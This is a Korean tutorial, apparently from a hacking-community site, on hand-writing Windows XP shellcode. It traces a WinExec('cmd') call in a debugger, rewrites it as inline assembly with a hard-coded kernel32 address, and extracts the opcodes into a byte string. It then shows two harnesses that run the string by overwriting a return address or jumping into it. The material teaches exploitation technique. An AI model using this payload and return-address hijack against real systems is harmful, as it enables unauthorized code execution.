

윈도우즈 환경에서 API를 이용한 쉘코드 작성



테스트 OS : WinXp SP2

컴파일러 : Visual C++ 6.0

작성자 : Hong10

문서발생지 : <http://www.powerhacker.com>

문서정보전달에 있어서 낫춤말은 사용했습니다.

*WinExec를 이용한 쉘

```
#include <windows.h>
```

```
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
    WinExec("cmd",nShowCmd);
    return 0;
}
```

위에 코드는 지극히 간단히 cmd.exe를 실행시키는 코드이다

여기서부터 쉘코드작성법은 전개되어진다. 사실 리눅스의 System함수를 이용한 아이디어와 별반 다르지 않다.

Release 모드로 컴파일뒤에 올리로 디어셈 코드를 확인하여 보자 Debug모드로 컴파일을 하면 알다시피 잡다한 정보들이 붙게 되므로 코드를 분석하는데 방해를 준다.

올리로 로드시켜보면 많은 콜문들을 볼수있는데 그건 OS자체적으로 필요한 즉 시스템적으로 필요한 콜문들이기 때문에 우리가 신경쓸 필요가 없다 우리가 주목해야할 call문은

004010E0	. 56	push esi	
004010E1	. 56	push esi	
004010E2	. FF15 0450400	call near dword ptr ds:[<&KERNEL32.GetModuleHandleA]	pModule GetModuleHandleA
004010E8	. 50	push eax	
004010E9	. E8 12FFFFFF	call WinExec.00401000	
004010EE	. 8945 A0	mov [local.24], eax	
004010F1	. 50	push eax	

004010E9 |. E8 12FFFFFF call WinExec.00401000

바로 이구문이 될것이다.

F7을 이용해 자세히 쫓아 가보자

예상외로 아주 적은 루틴을 발견할수 있는데...

00401000	/\$ 8B4424 10	mov eax, dword ptr ss:[esp+10]	
00401004	. 50	push eax	ShowState CmdLine = "cmd"
00401005	. 68 30604000	push WinExec.00406030	WinExec
0040100A	. FF15 0050400	call near dword ptr ds:[<&KERNEL32.WinEx<]; \WinExec	
00401010	. 33C0	xor eax, eax	
00401012	. C2 1000	retn 10	
00401015	. 90	nop	

00401000 /\$ 8B4424 10 mov eax, dword ptr ss:[esp+10]

00401004 |. 50 push eax ; /ShowState

00401005 |. 68 30604000 push WinExec.00406030 ; |CmdLine = "cmd"

0040100A |. FF15 0050400 call near dword ptr ds:[<&KERNEL32.WinEx<]; \WinExec

00401010 |. 33C0 xor eax, eax

00401012 \. C2 1000 retn 10

하나씩 뜯어보자 처음 00401000 주소에서는 esp+10값을 eax에 넣고있다 확인결과 0A란값을 넣는걸 알수있었다
두 번째 00401004는 그 0A값을 스택에 넣고 00401005에서는 data영역에 존재하는 "cmd"란 값을 스택에 넣고
0040100A에서는 WinEx함수를 호출하는걸 알수있다

여기서 함수를 호출할 때 ds:[00405000]=7C86136D (kernel32WinExec)

7C86136D가 WinExec를 가리키고 있음을 알수있다

위에 값은 F8로 천천히 트레이싱하면

OLLY가 자세히 가르쳐 준다. 그리고 나서 eax값으로 인수를 할당했으므로 xor연산으로

초기화를 시켜주고 retn 10을 해준다

retn 10은 ret(4byte) +16Byte를 해준값이다 즉 esp + 20byte를 해준다는 말이 되겠다

무슨 말이고 하니 물리로 디버깅을 열었을때 여러 문문중에 이런

00401000	FF15 00504000	call near dword ptr ds:[<8KERNEL32.WinExec>]	WinExec
00401010	33C0	xor eax, eax	
00401012	C2 1000	retn 10	
00401015	90	nop	
00401016	90	nop	
00401017	90	nop	
00401018	90	nop	
00401019	90	nop	
0040101A	90	nop	
0040101B	90	nop	
0040101C	90	nop	
0040101D	90	nop	
0040101E	90	nop	
0040101F	90	nop	
00401020	55	push ebp	
00401021	8BEC	mov ebp, esp	
00401023	6A FF	push -1	
00401025	68 A0504000	push WinExec,004050A0	
ds:[00405000]=7C86136D (kernel32.WinExec)			

004010E9 |. E8 12FFFFFF call WinExec00401000

여기를 트레이싱을 했다 즉 call WinExec00401000 가 호출되면 이 다음을 가리켜야할
 004010EE |. 8945 A0 mov [local24], eax
 의 주소값이 필요하다 그러므로 이 주소값을 스택에다 밀어주는 작업을 내부적으로 하게된다 콜을 했을때 스택값을보면

0013FF38	004010EE	RETURN to WinExec.<ModuleEntryPoint>+0CE from WinExec,00401000
0013FF3C	00400000	ASCII "MZ"
0013FF40	00000000	
0013FF44	00151F00	
0013FF48	0000000A	
0013FF4C	7C940738	ntdll,7C940738
0013FF50	FFFFFFFF	
0013FF54	7FFDC000	
0013FF58	00000000	

0013FF38 004010EE RETURN to WinExec.<ModuleEntryPoint>+0CE from WinExec00401000

이런식이다 여기서 ModuleEntryPoint 지점은 프로그램의 처음 OEP지점 즉
 00401020 지점이다 여기에 0ce를 더한다면 004010EE 지점이 되는것이다.

표로 간단히 나타내보자면

*call WinExec00401000 을 실행시켰을때
 스택 하위주소

mov ebp,esp
push ebp
RET 주소(004010EE) <- esp
콜전 스택값들
콜전 스택값들

스택 상위주소

그리고 콜은 f7했을때 바로 에필로그 부분이 나옴을 확인할수있다.

우리가 흔히알고있는 이전 ebp값은 스택에 넣어주고

현재 esp주소를 ebp에 재할당 해주는 작업등 말이다.

다시돌아와서 윈도우는 다른 리눅스와 달리(유니버설한 개념으로)

파스칼의 함수호출규칙을 따르고 있다 파스칼은 순행적으로 스택에 인수를 저장시키고

ebp로 각 인수들을 컨트롤 해주고 있다 ebp-4,ebp-8 처럼말이다...

처음 콜 하기전에 esp 레지스터의 값을 확인해보면 0013FF3C 고 F8로 step over을 시키고 난뒤의 esp값은 0013FF4C 값으로 바뀌게 된다 이말즉슨 콜문안에서 인수로 스택값에 저장된 값들을 모두 날려버리겠다는 의미이다. 두 주소의 offset은 16바이트 ret 10과 일치한데 그럼 아까 ret(4바이트)+10(16바이트) 의미는 무엇일까?

직접 ret 10 전 까지 내려가 esp값을 확인해보길 바란다.

esp는 0013FF38 의 값을 가지고 있고 값과 20바이트값을 더한다면 0013FF4C와 일치하게 된다 즉 우리가 쓰고자한 콜문은 16바이트 만큼의 스택을 쓰고 있다는 말로도 풀이가 될수 있다. 이제는 우리가 구현하고자하는 셸코드를 추출을 해봐야한다.

***셸 OPCODE를 추출하기 위한 인라인 어셈블**

```
#include <windows.h>
```

```
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
```

```
{
```

```
    __asm{
```

```
        push ebp    //에필로그 형성
```

```
        mov ebp,esp
```

```
        xor edi,edi // edi값 초기화
```

```
        push edi    //4바이트 만큼(\x00\x00\x00\x00) 값이 스택에 할당
```

```
        mov byte ptr[ebp-04h],'c' //리튼엔디언이므로...
```

```
        mov byte ptr[ebp-03h],'m'
```

```
        mov byte ptr[ebp-02h],'d'
```

```
        xor eax,eax // eax값 초기화
```

```
        mov al,0ah // 두번째 인자값 세팅
```

```
        push eax    // 스택에 넣고
```

```
        xor eax,eax // eax값 초기화
```

```
        lea eax,dword ptr[ebp-04h] //cmd0의 주소값을 eax에 할당
```

```
        push eax // eax를 스택에 넣고//첫번째 인자값 세팅
```

```

mov eax,0x7C86136D //WinExec 함수주소를 eax에 할당
call eax //WinExec 함수 호출
pop edi
pop ebp
}

return 0;
}

```

아까 올리로 본 디어셈코드를 약간만 머리글려서 포팅해주면 위와같은 인라인어셈블리가 나오게 된다 그리고 0x7c86136d의 값은 위에 과정에서 나온값이다 다른 절차방법은 <http://khdp.org> 에 Windows 환경에서 Buffer OverFlow공격 기법문서 에 명시되어있는 방법이다. dumpbin을 이용하는것이다

```

C:\WINDOWS\system32>dumpbin /headers kernel32.dll | find "image base"
7C800000 image base

```

```

C:\WINDOWS\system32>dumpbin /exports kernel32.dll | find "WinExec"
896 37F 0006136D WinExec
image base(메모리에 적재된 메모리 주소)0x7c800000 +RVA(6136D) =7C86136D

```

이런 방법이 되겠다. dumpbin은 visual C++에 제공해주는 툴이니 한번 써보는것도 나쁘지 않은 듯 하다.

```

pop edi
pop ebp

```

우린 이 두가지의 값만 pop을 시켜주면 될것이다 왜냐면 WinExec함수는 스탠다드콜 함수규약을 따르고 있으므로 내

부적으로 함수에 필요한 인수값등을 알아서 정리를 해주고 있다

```

0040100A | . FF15 00504000 | call near dword ptr ds:[<8KERNEL32.WinE|WinExec

```

F7로 Step into로 들어가보면 끝부분에

7C861451	58	pop eax
7C861452	5F	pop edi
7C861453	5E	pop esi
7C861454	5B	pop ebx
7C861455	C9	leave
7C861456	C2 0800	ret 8
7C861459	90	nop

정확히 8바이트 만큼은 ret하고 있다...
ret 위에 leave는 에필로그의 반대개념으로.

내부적으로

```
mov esp,ebp
```

```
pop ebp
```

두 번의 명령을 수행하게 된다.

컴파일 하고 실행을 해보면 아무런 어려움이 cmd창을 띄워줄것이다 이젠 OPCODE를 뽑는 일만이 남았다.

```
00401000  /$ 55          push ebp
00401001  |. 8BEC        mov ebp, esp
00401003  |. 57          push edi
00401004  |. 55          push ebp
00401005  |. 8BEC        mov ebp, esp
00401007  |. 33FF        xor edi, edi
00401009  |. 57          push edi
0040100A  |. C645 FC 63   mov byte ptr ss:[ebp-4], 63
0040100E  |. C645 FD 6D   mov byte ptr ss:[ebp-3], 6D
00401012  |. C645 FE 64   mov byte ptr ss:[ebp-2], 64
00401016  |. 33C0        xor eax, eax
00401018  |. B0 0A        mov al, 0A
0040101A  |. 50          push eax                      ; /ShowState
0040101B  |. 33C0        xor eax, eax                      ; |
0040101D  |. 8D45 FC      lea eax, [local.1]              ; |
00401020  |. 50          push eax                      ; |CmdLine
00401021  |. B8 6D13867C  mov eax, kernel32WinExec          ; |
00401026  |. FFD0        call near eax                      ; \WinExec
00401028  |. 5F          pop edi
00401029  |. 5D          pop ebp
0040102A  |. 33C0        xor eax, eax
0040102C  |. 5F          pop edi
0040102D  |. 5D          pop ebp
0040102E  \. C2 1000     retn 10
```

위는 오히려 열어본 디어셈블리이다.

뭔가 이상하지 않는가? 예필로그 부분이 두 번씩이나 들어가있다..분명 콜안에서의 디어셈블리인데도 불구하고 이부분에 대해서는 자세히 모르겠다 ..아시는분은 <http://www.powerhacker.com>으로 문의를 해주시면 감사하겠습니다.

*추출된 opcode

```
#include <windows.h>
```

```
TCHAR shell[]
```

```
= "\\x55\\x8B\\xEC\\x33\\xFF\\x57\\xC6\\x45\\xFC\\x63\\xC6\\x45\\xFD\\x6D"  
  "\\xC6\\x45\\xFE\\x64\\x33\\xC0\\xB0\\x0A\\x50\\x33\\xC0\\x8D\\x45\\xFC"  
  "\\x50\\xB8\\x6D\\x13\\x86\\x7C\\xFF\\xD0\\x5F\\x5D\\xC2\\x10\\x00";
```

```
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)  
{
```

```
    int *ret;
```

```
    ret = (int *)&ret + 2; //ebp+4 지점에는 ret 어드레스가 들어가있다
```

//

ebp-4(RET)
ebp
ebp+ 4(int *ret)

```
    (*ret) = (int)shell; //ret어드레스가 가리키는 부분에 shell 주소값을 할당
```

```
    return 0;
```

```
}
```

이렇게 해도 되고 다른방법으로는

```
#include <windows.h>
```

```
TCHAR shell[] = "\\x55\\x8B\\xEC\\x33\\xFF\\x57\\xC6\\x45\\xFC\\x63\\xC6\\x45\\xFD"
```

```
               "\\x6D\\xC6\\x45\\xFE\\x64\\x33\\xC0\\xB0\\x0A\\x50\\x33\\xC0\\x8D\\x45\\xFC\\x50\\xB8"
```

```
               "\\x6D\\x13\\x86\\x7C\\xFF\\xD0\\x5F\\x5D\\xC2\\x10\\x00";
```

```
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)  
{
```

```
    int *ret;
```

```
    ret = (int*)shell;
```

```
    __asm {
```

```
        jmp ret;
```

```
    }
```

```
    return 0;
```

```
}
```

이렇게 해도 되겠다 각자 입맛에 따라서 사용하길 바란다

마치면서...

대부분의 문서에는 *call*과 *ret pop* 등 내부적으로 돌아가는 세부적인 설명이 다소 부족함 감이 있지 않았나 싶어서 이렇게 부족하지만 정리를 해보았다 혹 저와 같은 고민에 쌓인 분들은 이문서를 보면서 어느정도 해결점을 뵈으면 하는

마음에서 문서를 작성하게되었다

파워해커는 언제나 오픈마인드로 세부적인 기술문서를 공개하고자 한다

더 이상 국내 리버서나 해커들은 덧셈에 연연해서는 안될것이다 외국사람들은 곱셈을 논의하고 있는데 덧셈가지고 서로 공유하니 마니 해서는 안된다는것이다 같이 베이스를 닦고 곱셈에 도전한다면 좀더 멋지지 않을까? 필자의 경험담에서 나오는 말이다 예휴...-0-;

끝으로 해당 개념에 무지했던 필자를 잘 이끌어 주신 파워해커 교주님께 감사의 말씀을 전하며 이문서를 마칠까 한다

사실 오버플로우와 *art o f hooking*을 이용한 프로그램의 재창조까지 할려고 했으나 문서양의 길어질뿐더러 쓰는사람도 힘들다 (정말이지 문서 쓰시는 분들은 높게 평가 해줘야한다) 절 높게 평가 해달라는 말은 절대 아니다;

* 참고문서 www.khdp.org 의 windows 의 환경에서 Buffer overFlow 기법